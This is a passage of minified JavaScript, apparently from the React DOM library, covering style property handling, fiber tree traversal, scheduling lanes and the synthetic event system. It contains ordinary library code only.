ga={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},K2=["Webkit","ms","Moz","O"];Object.keys(ga).forEach(function(e){K2.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),ga[t]=ga[e]})});function ry(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||ga.hasOwnProperty(e)&&ga[e]?(""+t).trim():t+"px"}function oy(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,o=ry(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,o):e[n]=o}}var Y2=Ke({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function qd(e,t){if(t){if(Y2[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(I(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(I(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(I(61))}if(t.style!=null&&typeof t.style!="object")throw Error(I(62))}}function Xd(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Jd=null;function _h(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var ef=null,Vi=null,Hi=null;function dm(e){if(e=bl(e)){if(typeof ef!="function")throw Error(I(280));var t=e.stateNode;t&&(t=wc(t),ef(e.stateNode,e.type,t))}}function iy(e){Vi?Hi?Hi.push(e):Hi=[e]:Vi=e}function sy(){if(Vi){var e=Vi,t=Hi;if(Hi=Vi=null,dm(e),t)for(e=0;e<t.length;e++)dm(t[e])}}function ay(e,t){return e(t)}function ly(){}var nd=!1;function uy(e,t,n){if(nd)return e(t,n);nd=!0;try{return ay(e,t,n)}finally{nd=!1,(Vi!==null||Hi!==null)&&(ly(),sy())}}function Na(e,t){var n=e.stateNode;if(n===null)return null;var r=wc(n);if(r===null)return null;n=r[t];e:switch(t){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":case"onMouseEnter":(r=!r.disabled)||(e=e.type,r=!(e==="button"||e==="input"||e==="select"||e==="textarea")),e=!r;break e;default:e=!1}if(e)return null;if(n&&typeof n!="function")throw Error(I(231,t,typeof n));return n}var tf=!1;if(Cr)try{var Gs={};Object.defineProperty(Gs,"passive",{get:function(){tf=!0}}),window.addEventListener("test",Gs,Gs),window.removeEventListener("test",Gs,Gs)}catch{tf=!1}function G2(e,t,n,r,o,i,s,a,l){var u=Array.prototype.slice.call(arguments,3);try{t.apply(n,u)}catch(c){this.onError(c)}}var ya=!1,Ru=null,Pu=!1,nf=null,q2={onError:function(e){ya=!0,Ru=e}};function X2(e,t,n,r,o,i,s,a,l){ya=!1,Ru=null,G2.apply(q2,arguments)}function J2(e,t,n,r,o,i,s,a,l){if(X2.apply(this,arguments),ya){if(ya){var u=Ru;ya=!1,Ru=null}else throw Error(I(198));Pu||(Pu=!0,nf=u)}}function fi(e){var t=e,n=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do t=e,t.flags&4098&&(n=t.return),e=t.return;while(e)}return t.tag===3?n:null}function cy(e){if(e.tag===13){var t=e.memoizedState;if(t===null&&(e=e.alternate,e!==null&&(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function fm(e){if(fi(e)!==e)throw Error(I(188))}function eb(e){var t=e.alternate;if(!t){if(t=fi(e),t===null)throw Error(I(188));return t!==e?null:e}for(var n=e,r=t;;){var o=n.return;if(o===null)break;var i=o.alternate;if(i===null){if(r=o.return,r!==null){n=r;continue}break}if(o.child===i.child){for(i=o.child;i;){if(i===n)return fm(o),e;if(i===r)return fm(o),t;i=i.sibling}throw Error(I(188))}if(n.return!==r.return)n=o,r=i;else{for(var s=!1,a=o.child;a;){if(a===n){s=!0,n=o,r=i;break}if(a===r){s=!0,r=o,n=i;break}a=a.sibling}if(!s){for(a=i.child;a;){if(a===n){s=!0,n=i,r=o;break}if(a===r){s=!0,r=i,n=o;break}a=a.sibling}if(!s)throw Error(I(189))}}if(n.alternate!==r)throw Error(I(190))}if(n.tag!==3)throw Error(I(188));return n.stateNode.current===n?e:t}function dy(e){return e=eb(e),e!==null?fy(e):null}function fy(e){if(e.tag===5||e.tag===6)return e;for(e=e.child;e!==null;){var t=fy(e);if(t!==null)return t;e=e.sibling}return null}var hy=rn.unstable_scheduleCallback,hm=rn.unstable_cancelCallback,tb=rn.unstable_shouldYield,nb=rn.unstable_requestPaint,et=rn.unstable_now,rb=rn.unstable_getCurrentPriorityLevel,kh=rn.unstable_ImmediatePriority,py=rn.unstable_UserBlockingPriority,Tu=rn.unstable_NormalPriority,ob=rn.unstable_LowPriority,my=rn.unstable_IdlePriority,mc=null,Jn=null;function ib(e){if(Jn&&typeof Jn.onCommitFiberRoot=="function")try{Jn.onCommitFiberRoot(mc,e,void 0,(e.current.flags&128)===128)}catch{}}var Ln=Math.clz32?Math.clz32:lb,sb=Math.log,ab=Math.LN2;function lb(e){return e>>>=0,e===0?32:31-(sb(e)/ab|0)|0}var jl=64,Il=4194304;function da(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Nu(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,o=e.suspendedLanes,i=e.pingedLanes,s=n&268435455;if(s!==0){var a=s&~o;a!==0?r=da(a):(i&=s,i!==0&&(r=da(i)))}else s=n&~o,s!==0?r=da(s):i!==0&&(r=da(i));if(r===0)return 0;if(t!==0&&t!==r&&!(t&o)&&(o=r&-r,i=t&-t,o>=i||o===16&&(i&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0<t;)n=31-Ln(t),o=1<<n,r|=e[n],t&=~o;return r}function ub(e,t){switch(e){case 1:case 2:case 4:return t+250;case 8:case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return-1;case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function cb(e,t){for(var n=e.suspendedLanes,r=e.pingedLanes,o=e.expirationTimes,i=e.pendingLanes;0<i;){var s=31-Ln(i),a=1<<s,l=o[s];l===-1?(!(a&n)||a&r)&&(o[s]=ub(a,t)):l<=t&&(e.expiredLanes|=a),i&=~a}}function rf(e){return e=e.pendingLanes&-1073741825,e!==0?e:e&1073741824?1073741824:0}function vy(){var e=jl;return jl<<=1,!(jl&4194240)&&(jl=64),e}function rd(e){for(var t=[],n=0;31>n;n++)t.push(e);return t}function wl(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Ln(t),e[t]=n}function db(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0<n;){var o=31-Ln(n),i=1<<o;t[o]=0,r[o]=-1,e[o]=-1,n&=~i}}function Rh(e,t){var n=e.entangledLanes|=t;for(e=e.entanglements;n;){var r=31-Ln(n),o=1<<r;o&t|e[r]&t&&(e[r]|=t),n&=~o}}var Oe=0;function gy(e){return e&=-e,1<e?4<e?e&268435455?16:536870912:4:1}var yy,Ph,wy,xy,by,of=!1,zl=[],uo=null,co=null,fo=null,Oa=new Map,La=new Map,Yr=[],fb="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit".split(" ");function pm(e,t){switch(e){case"focusin":case"focusout":uo=null;break;case"dragenter":case"dragleave":co=null;break;case"mouseover":case"mouseout":fo=null;break;case"pointerover":case"pointerout":Oa.delete(t.pointerId);break;case"gotpointercapture":case"lostpointercapture":La.delete(t.pointerId)}}function qs(e,t,n,r,o,i){return e===null||e.nativeEvent!==i?(e={blockedOn:t,domEventName:n,eventSystemFlags:r,nativeEvent:i,targetContainers:[o]},t!==null&&(t=bl(t),t!==null&&Ph(t)),e):(e.eventSystemFlags|=r,t=e.targetContainers,o!==null&&t.indexOf(o)===-1&&t.push(o),e)}function hb(e,t,n,r,o){switch(t){case"focusin":return uo=qs(uo,e,t,n,r,o),!0;case"dragenter":return co=qs(co,e,t,n,r,o),!0;case"mouseover":return fo=qs(fo,e,t,n,r,o),!0;case"pointerover":var i=o.pointerId;return Oa.set(i,qs(Oa.get(i)||null,e,t,n,r,o)),!0;case"gotpointercapture":return i=o.pointerId,La.set(i,qs(La.get(i)||null,e,t,n,r,o)),!0}return!1}function Cy(e){var t=Fo(e.target);if(t!==null){var n=fi(t);if(n!==null){if(t=n.tag,t===13){if(t=cy(n),t!==null){e.blockedOn=t,by(e.priority,function(){wy(n)});return}}else if(t===3&&n.stateNode.current.memoizedState.isDehydrated){e.blockedOn=n.tag===3?n.stateNode.containerInfo:null;return}}}e.blockedOn=null}function au(e){if(e.blockedOn!==null)return!1;for(var t=e.targetContainers;0<t.length;){var n=sf(e.domEventName,e.eventSystemFlags,t[0],e.nativeEvent);if(n===null){n=e.nativeEvent;var r=new n.constructor(n.type,n);Jd=r,n.target.dispatchEvent(r),Jd=null}else return t=bl(n),t!==null&&Ph(t),e.blockedOn=n,!1;t.shift()}return!0}function mm(e,t,n){au(e)&&n.delete(t)}function pb(){of=!1,uo!==null&&au(uo)&&(uo=null),co!==null&&au(co)&&(co=null),fo!==null&&au(fo)&&(fo=null),Oa.forEach(mm),La.forEach(mm)}function Xs(e,t){e.blockedOn===t&&(e.blockedOn=null,of||(of=!0,rn.unstable_scheduleCallback(rn.unstable_NormalPriority,pb)))}function Aa(e){function t(o){return Xs(o,e)}if(0<zl.length){Xs(zl[0],e);for(var n=1;n<zl.length;n++){var r=zl[n];r.blockedOn===e&&(r.blockedOn=null)}}for(uo!==null&&Xs(uo,e),co!==null&&Xs(co,e),fo!==null&&Xs(fo,e),Oa.forEach(t),La.forEach(t),n=0;n<Yr.length;n++)r=Yr[n],r.blockedOn===e&&(r.blockedOn=null);for(;0<Yr.length&&(n=Yr[0],n.blockedOn===null);)Cy(n),n.blockedOn===null&&Yr.shift()}var Wi=Nr.ReactCurrentBatchConfig,Ou=!0;function mb(e,t,n,r){var o=Oe,i=Wi.transition;Wi.transition=null;try{Oe=1,Th(e,t,n,r)}finally{Oe=o,Wi.transition=i}}function vb(e,t,n,r){var o=Oe,i=Wi.transition;Wi.transition=null;try{Oe=4,Th(e,t,n,r)}finally{Oe=o,Wi.transition=i}}function Th(e,t,n,r){if(Ou){var o=sf(e,t,n,r);if(o===null)hd(e,t,r,Lu,n),pm(e,r);else if(hb(o,e,t,n,r))r.stopPropagation();else if(pm(e,r),t&4&&-1<fb.indexOf(e)){for(;o!==null;){var i=bl(o);if(i!==null&&yy(i),i=sf(e,t,n,r),i===null&&hd(e,t,r,Lu,n),i===o)break;o=i}o!==null&&r.stopPropagation()}else hd(e,t,r,null,n)}}var Lu=null;function sf(e,t,n,r){if(Lu=null,e=_h(r),e=Fo(e),e!==null)if(t=fi(e),t===null)e=null;else if(n=t.tag,n===13){if(e=cy(t),e!==null)return e;e=null}else if(n===3){if(t.stateNode.current.memoizedState.isDehydrated)return t.tag===3?t.stateNode.containerInfo:null;e=null}else t!==e&&(e=null);return Lu=e,null}function Sy(e){switch(e){case"cancel":case"click":case"close":case"contextmenu":case"copy":case"cut":case"auxclick":case"dblclick":case"dragend":case"dragstart":case"drop":case"focusin":case"focusout":case"input":case"invalid":case"keydown":case"keypress":case"keyup":case"mousedown":case"mouseup":case"paste":case"pause":case"play":case"pointercancel":case"pointerdown":case"pointerup":case"ratechange":case"reset":case"resize":case"seeked":case"submit":case"touchcancel":case"touchend":case"touchstart":case"volumechange":case"change":case"selectionchange":case"textInput":case"compositionstart":case"compositionend":case"compositionupdate":case"beforeblur":case"afterblur":case"beforeinput":case"blur":case"fullscreenchange":case"focus":case"hashchange":case"popstate":case"select":case"selectstart":return 1;case"drag":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"mousemove":case"mouseout":case"mouseover":case"pointermove":case"pointerout":case"pointerover":case"scroll":case"toggle":case"touchmove":case"wheel":case"mouseenter":case"mouseleave":case"pointerenter":case"pointerleave":return 4;case"message":switch(rb()){case kh:return 1;case py:return 4;case Tu:case ob:return 16;case my:return 536870912;default:return 16}default:return 16}}var ao=null,Nh=null,lu=null;function Ey(){if(lu)return lu;var e,t=Nh,n=t.length,r,o="value"in ao?ao.value:ao.textContent,i=o.length;for(e=0;e<n&&t[e]===o[e];e++);var s=n-e;for(r=1;r<=s&&t[n-r]===o[i-r];r++);return lu=o.slice(e,1<r?1-r:void 0)}function uu(e){var t=e.keyCode;return"charCode"in e?(e=e.charCode,e===0&&t===13&&(e=13)):e=t,e===10&&(e=13),32<=e||e===13?e:0}function Fl(){return!0}function vm(){return!1}function sn(e){function t(n,r,o,i,s){this._reactName=n,this._targetInst=o,this.type=r,this.nativeEvent=i,this.target=s,this.currentTarget=null;for(var a in e)e.hasOwnProperty(a)&&(n=e[a],this[a]=n?n(i):i[a]);return this.isDefaultPrevented=(i.defaultPrevented!=null?i.defaultPrevented:i.returnValue===!1)?Fl:vm,this.isPropagationStopped=vm,this}return Ke(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var n=this.nativeEvent;n&&(n.preventDefault?n.preventDefault():typeof n.returnValue!="unknown"&&(n.returnValue=!1),this.isDefaultPrevented=Fl)},stopPropagation:function(){var n=this.nativeEvent;n&&(n.stopPropagation?n.stopPropagation():typeof n.cancelBubble!="unknown"&&(n.cancelBubble=!0),this.isPropagationStopped=Fl)},persist:function(){},isPersistent:Fl}),t}var js={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},Oh=sn(js),xl=Ke({},js,{view:0,detail:0}),gb=sn(xl),od,id,Js,vc=Ke({},xl,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Lh,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return"movementX"in e?e.movementX:(e!==Js&&(Js&&e.type==="mousemove"?(od=e.screenX-Js.screenX,id=e.screenY-Js.screenY):id=od=0,Js=e),od)},movementY:function(e){return"movementY"in e?e.movementY:id}}),gm=sn(vc),yb=Ke({},vc,{dataTransfer:0}),wb=sn(yb),xb=Ke({},xl,{relatedTarget:0}),sd=sn(xb),bb=Ke({},js,{animationName:0,elapsedTime:0,pseudoElement:0}),Cb=sn(bb),Sb=Ke({},js,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),Eb=sn(Sb),_b=Ke({},js,{data:0}),ym=sn(_b),kb={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},Rb={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},Pb={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function Tb(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=Pb[e])?!!t[e]:!1}function Lh(){return Tb}var Nb=Ke({},xl,{key:function(e){if(e.key){var t=kb[e.key]||e.key;if(t!=="Unidentified")return t}return e.type==="keypress"?(e=uu(e),e===13?"Enter":String.fromCharCode(e)):e.type==="keydown"||e.type==="keyup"?Rb[e.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Lh,charCode:function(e){return e.type==="keypress"?uu(e):0},keyCode:function(e){return e.type==="keydown"||e.type==="keyup"?e.keyCode:0},which:function(e){return e.type==="keypress"?uu(e):e.type==="keydown"||e.type==="keyup"?e.keyCode:0}}),Ob=sn(Nb),Lb=Ke({},vc,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),wm=sn(Lb),Ab=Ke({},xl,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Lh}),Mb=sn(Ab),Db=Ke({},js,{propertyName:0,elapsedTime:0,pseudoElement:0}),jb=sn(Db),Ib=Ke({},vc,{deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),zb=sn(Ib),Fb=[9,13,27,32],Ah=Cr&&"CompositionEvent"in window,wa=null;Cr&&"documentMode"in document&&(wa=document.documentMode);var $b=Cr&&"TextEvent"in window&&!wa,_y=Cr&&(!Ah||wa&&8<wa&&11>=wa),xm=" ",bm=!1;function ky(e,t){switch(e){case"keyup":return Fb.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Ry(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Oi=!1;function Ub(e,t){switch(e){case"compositionend":return Ry(t);case"keypress":return t.which!==32?null:(bm=!0,xm);case"textInput":return e=t.data,e===xm&&bm?null:e;default:return null}}function Bb(e,t){if(Oi)return e==="compositionend"||!Ah&&ky(e,t)?(e=Ey(),lu=Nh=ao=null,Oi=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case"compositionend":return _y&&t.locale!=="ko"?null:t.data;default:return null}}var Vb={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Cm(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t==="input"?!!Vb[e.type]:t==="textarea"}function Py(e,t,n,r){iy(r),t=Au(t,"onChange"),0<t.length&&(n=new Oh("onChange","change",null,n,r),e.push({event:n,listeners:t}))}var xa=null,Ma=null;function Hb(e){Fy(e,0)}function gc(e){var t=Mi(e);if(Xg(t))return e}function Wb(e,t){if(e==="change")return t}var Ty=!1;if(Cr){var ad;if(Cr){var ld="oninput"in document;if(!ld){var Sm=document.createElement("div");Sm.setAttribute("oninput","return;"),ld=typeof Sm.oninput=="function"}ad=ld}else ad=!1;Ty=ad&&(!document.documentMode||9<document.documentMode)}function Em(){xa&&(xa.detachEvent("onpropertychange",Ny),Ma=xa=null)}function Ny(e){if(e.propertyName==="value"&&gc(Ma)){var t=[];Py(t,Ma,e,_h(e)),uy(Hb,t)}}function Zb(e,t,n){e==="focusin"?(Em(),xa=t,Ma=n,xa.attachEvent("onpropertychange",Ny)):e==="focusout"&&Em()}function Qb(e){if(e==="selectionchange"||e==="keyup"||e==="keydown")return gc(Ma)}function Kb(e,t){if(e==="click")return gc(t)}function Yb(e,t){if(e==="input"||e==="change")return gc(t)}function Gb(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var Dn=typeof Object.is=="function"?Object.is:Gb;function Da(e,t){if(Dn(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++){var o=n[r];if(!Ud.call(t,o)||!Dn(e[o],t[o]))return!1}return!0}function _m(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function km(e,t){var n=_m(e);e=0;for(var r;n;){if(n.nodeType===3){if(r=e+n.textContent.length,e<=t&&r>=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=_m(n)}}function Oy(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Oy(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Ly(){for(var e=window,t=ku();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=ku(e.document)}return t}function Mh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function qb(e){var t=Ly(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Oy(n.ownerDocument.documentElement,n)){if(r!==null&&Mh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var o=n.textContent.length,i=Math.min(r.start,o);r=r.end===void 0?i:Math.min(r.end,o),!e.extend&&i>r&&(o=r,r=i,i=o),o=km(n,i);var s=km(n,r);o&&s&&(e.rangeCount!==1||e.anchorNode!==o.node||e.anchorOffset!==o.offset||e.focusNode!==s.node||e.focusOffset!==s.offset)&&(t=t.createRange(),t.setStart(o.node,o.offset),e.removeAllRanges(),i>r?(e.addRange(t),e.extend(s.node,s.offset)):(t.setEnd(s.node,s.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n<t.length;n++)e=t[n],e.element.scrollLeft=e.left,e.element.scrollTop=e.top}}var Xb=Cr&&"documentMode"in document&&11>=document.documentMode,Li=null,af=null,ba=null,lf=!1;function Rm(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;lf||Li==null||Li!==ku(r)||(r=Li,"selectionStart"in r&&Mh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),ba&&Da(ba,r)||(ba=r,r=Au(af,"onSelect"),0<r.length&&(t=new Oh("onSelect","select",null,t,n),e.push({event:t,listeners:r}),t.target=Li)))}function $l(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n["Webkit"+e]="webkit"+t,n["Moz"+e]="moz"+t,n}var Ai={animationend:$l("Animation","AnimationEnd"),animationiteration:$l("Animation","AnimationIteration"),animationstart:$l("Animation","AnimationStart"),transitionend:$l("Transition","TransitionEnd")},ud={},Ay={};Cr&&(Ay=document.createElement("div").style,"AnimationEvent"in window||(delete Ai.animationend.animation,delete Ai.animationiteration.animation,delete Ai.animationstart.animation),"TransitionEvent"in window||delete Ai.transitionend.transition);function yc(e){if(ud[e])return ud[e];if(!Ai[e])return e;var t=Ai[e],n;for(n in t)if(t.hasOwnProperty(n)&&n in Ay)return ud[e]=t[n];return e}var My=yc("animationend"),Dy=yc("animationiteration"),jy=yc("animationstart"),Iy=yc("transitionend"),zy=new Map,Pm="abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel".split(" ");function To(e,t){zy.set(e,t),di(t,[e])}for(var cd=0;cd<Pm.length;cd++){var dd=Pm[cd],Jb=dd.toLowerCase(),eC=dd[0].toUpperCase()+dd.slice(1);To(Jb,"on"+eC)}To(My,"onAnimationEnd");To(Dy,"onAnimationIteration");To(jy,"onAnimationStart");To("dblclick","onDoubleClick");To("focusin","onFocus");To("focusout","onBlur");To(Iy,"onTransitionEnd");ys("onMouseEnter",["mouseout","mouseover"]);ys("onMouseLeave",["mouseout","mouseover"]);ys("onPointerEnter",["pointerout","pointerover"]);ys("onPointerLeave",["pointerout","pointerover"]);di("onChange","change click focusin focusout input keydown keyup selectionchange".split(" "));di("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" "));di("onBeforeInput",["compositionend","keypress","textInput","paste"]);di("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" "));di("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" "));di("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var fa="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),tC=new Set("cancel close invalid load scroll toggle".split(" ").concat(fa));function Tm(e,t,n){var r=e.type||"unknown-event";e.currentTarget=n,J2(r,t,void 0,e),e.currentTarget=null}function Fy(e,t){t=(t&4)!==0;for(var n=0;n<e.length;n++){var r=e[n],o=r.event;r=r.listeners;e:{var i=void 0;if(t)for(var s=r.length-1;0<=s;s--){var a=r[s],l=a.instance,u=a.currentTarget;if(a=a.listener,l!==i&&o.isPropagationStopped())break e;Tm(o,a,u),i=l}else for(s=0;s<r.length;s++){if(a=r[s],l=a.instance,u=a.currentTarget,a=a.listener,l!==i&&o.isPropagationStopped())break e;Tm(o,a,u),i=l}}}if(Pu)throw e=nf,Pu=!1,nf=null,e}function ze(e,t){var n=t[hf];n===void 0&&(n=t[hf]=new Set);var r=e+"__bubble";n.has(r)||($y(t,e,2,!1),n.add(r))}function fd(e,t,n){var r=0;t&&(r|=4),$y(n,e,r,t)}var Ul="_reactListening"+Math.random().toString(36).slice(2);function ja(e){if(!e[Ul]){e[Ul]=!0,Qg.forEach(function(n){n!=="selectionchange"&&(tC.has(n)||fd(n,!1,e),fd(n,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[Ul]||(t[Ul]=!0,fd("selectionchange",!1,t))}}function $y(e,t,n,r){switch(Sy(t)){case 1:var o=mb;break;case 4:o=vb;break;default:o=Th}n=o.bind(null,t,n,e),o=void 0,!tf||t!=="touchstart"&&t!=="touchmove"&&t!=="wheel"||(o=!0),r?o!==void 0?e.addEventListener(t,n,{capture:!0,passive:o}):e.addEventListener(t,n,!0):o!==void 0?e.addEventListener(t,n,{passive:o}):e.addEventListener(t,n,!1)}function hd(e,t,n,r,o){var i=r;if(!(t&1)&&!(t&2)&&r!==null)e:for(;;){if(r===null)return;var s=r.tag;if(s===3||s===4){var a=r.stateNode.containerInfo;if(a===o||a.nodeType===8&&a.parentNode===o)break;if(s===4)for(s=r.return;s!==null;){var l=s.tag;if((l===3||l===4)&&(l=s.stateNode.containerInfo,l===o||l.nodeType===8&&l.parentNode===o))return;s=s.return}for(;a!==null;){if(s=Fo(a),s===null)return;if(l=s.tag,l===5||l===6){r=i=s;continue e}a=a.parentNode}}r=r.return}uy(function(){var u=i,c=_h(n),f=[];e:{var d=zy.get(e);if(d!==void 0){var m=Oh,w=e;switch(e){case"keypress":if(uu(n)===0)break 